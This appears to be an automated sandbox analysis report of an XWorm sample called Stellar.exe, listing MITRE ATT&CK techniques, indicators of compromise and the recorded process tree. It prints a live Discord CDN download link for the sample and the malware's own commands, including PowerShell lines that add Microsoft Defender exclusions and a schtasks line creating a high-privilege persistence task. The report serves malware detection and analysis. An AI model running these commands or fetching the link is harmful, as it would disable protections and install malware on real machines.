xworm | hxxps://cdn[.]discordapp[.]com/attachments/1259566254663008356/1263793554636144671/Stellar[.]exe?ex=672a91b7&is=67294037&hm=9a9dd2f12419643bce181f6db7ff132f0f22f0fb134f06517bac891660eb9dfb&

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	AdobeIPC.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	Stellar.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	Stellar.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AdobeIPC.lnk	AdobeIPC.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AdobeIPC.lnk	AdobeIPC.exe

Executes dropped EXE 9 IoCs

pid	Process
5852	Stellar.exe
6044	Stellar Generator.exe
6120	AdobeIPC.exe
4036	AdobeIPC
5832	Stellar.exe
3636	Stellar Generator.exe
4892	AdobeIPC.exe
4864	AdobeIPC
4556	AdobeIPC

Loads dropped DLL 4 IoCs

pid	Process
6044	Stellar Generator.exe
6044	Stellar Generator.exe
3636	Stellar Generator.exe
3636	Stellar Generator.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeIPC = "C:\\ProgramData\\AdobeIPC"	AdobeIPC.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
44	pastebin.com
47	pastebin.com
111	pastebin.com
383	pastebin.com
43	pastebin.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Stellar Generator.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Stellar Generator.exe

Checks processor information in registry 2 TTPs 14 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Stellar Generator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Stellar Generator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Stellar Generator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Stellar Generator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Stellar Generator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Stellar Generator.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	firefox.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 24764.crdownload:SmartScreen	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
6088	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
840	msedge.exe
840	msedge.exe
3660	msedge.exe
3660	msedge.exe
972	identity_helper.exe
972	identity_helper.exe
5692	msedge.exe
5692	msedge.exe
4036	powershell.exe
4036	powershell.exe
4036	powershell.exe
5320	powershell.exe
5320	powershell.exe
5320	powershell.exe
5612	powershell.exe
5612	powershell.exe
5612	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe
6120	AdobeIPC.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6120	AdobeIPC.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	6120	AdobeIPC.exe
Token: SeDebugPrivilege	4036	powershell.exe
Token: SeDebugPrivilege	5320	powershell.exe
Token: SeDebugPrivilege	5612	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeDebugPrivilege	6120	AdobeIPC.exe
Token: SeDebugPrivilege	6044	Stellar Generator.exe
Token: SeDebugPrivilege	4036	AdobeIPC
Token: SeDebugPrivilege	3336	firefox.exe
Token: SeDebugPrivilege	3336	firefox.exe
Token: SeDebugPrivilege	4892	AdobeIPC.exe
Token: SeDebugPrivilege	3636	Stellar Generator.exe
Token: SeDebugPrivilege	4864	AdobeIPC
Token: 33	6040	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	6040	AUDIODG.EXE
Token: SeDebugPrivilege	4556	AdobeIPC
Token: SeDebugPrivilege	3336	firefox.exe
Token: SeDebugPrivilege	3336	firefox.exe
Token: SeDebugPrivilege	3336	firefox.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe

Suspicious use of SendNotifyMessage 56 IoCs

pid	Process
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3660	msedge.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
6120	AdobeIPC.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe
3336	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3660 wrote to memory of 3512	3660	msedge.exe	85
PID 3660 wrote to memory of 3512	3660	msedge.exe	85
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 3092	3660	msedge.exe	86
PID 3660 wrote to memory of 840	3660	msedge.exe	87
PID 3660 wrote to memory of 840	3660	msedge.exe	87
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88
PID 3660 wrote to memory of 1504	3660	msedge.exe	88

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://cdn.discordapp.com/attachments/1259566254663008356/1263793554636144671/Stellar.exe?ex=672a91b7&is=67294037&hm=9a9dd2f12419643bce181f6db7ff132f0f22f0fb134f06517bac891660eb9dfb&
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9189546f8,0x7ff918954708,0x7ff918954718
  2⤵
  PID:3512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:2
  2⤵
  PID:3092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2836 /prefetch:8
  2⤵
  PID:1504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
  2⤵
  PID:848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3544 /prefetch:1
  2⤵
  PID:3224
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 /prefetch:8
  2⤵
  PID:748
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4780 /prefetch:8
  2⤵
  PID:3480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4136 /prefetch:1
  2⤵
  PID:2436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5964 /prefetch:8
  2⤵
  PID:1048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6116 /prefetch:1
  2⤵
  PID:4116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:1
  2⤵
  PID:3664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6416 /prefetch:1
  2⤵
  PID:5144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4832 /prefetch:1
  2⤵
  PID:5152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2208,15926305483722330707,10441090724066261450,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5712 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5692
- C:\Users\Admin\Downloads\Stellar.exe
  "C:\Users\Admin\Downloads\Stellar.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:5852
- - C:\ProgramData\Stellar Generator.exe
    "C:\ProgramData\Stellar Generator.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Enumerates system info in registry
    - Suspicious use of AdjustPrivilegeToken
    PID:6044
- - C:\ProgramData\AdobeIPC.exe
    "C:\ProgramData\AdobeIPC.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:6120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\AdobeIPC.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AdobeIPC.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\AdobeIPC'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AdobeIPC'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:700
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "AdobeIPC" /tr "C:\ProgramData\AdobeIPC"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6088

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4172

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4632

C:\ProgramData\AdobeIPC
C:\ProgramData\AdobeIPC
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4036

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:5944
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:3336
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2040 -parentBuildID 20240401114208 -prefsHandle 1968 -prefMapHandle 1960 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {52190fff-d1fe-4da0-b177-98d17ddf4521} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" gpu
    3⤵
    PID:5264
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2456 -parentBuildID 20240401114208 -prefsHandle 2424 -prefMapHandle 2420 -prefsLen 23716 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d2d8137d-3b2c-4eb8-be14-53ecec5d877b} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" socket
    3⤵
    - Checks processor information in registry
    PID:5188
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3164 -childID 1 -isForBrowser -prefsHandle 1680 -prefMapHandle 3024 -prefsLen 23857 -prefMapSize 244658 -jsInitHandle 1328 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {67365b8c-72be-4c98-b760-fea2e6efcfd6} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" tab
    3⤵
    PID:4588
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3972 -childID 2 -isForBrowser -prefsHandle 3964 -prefMapHandle 3956 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1328 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c193c23e-d68d-49a9-a245-b52c5b33414b} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" tab
    3⤵
    PID:5668
- - C:\Program Files\Mozilla Firefox\firefox.exe
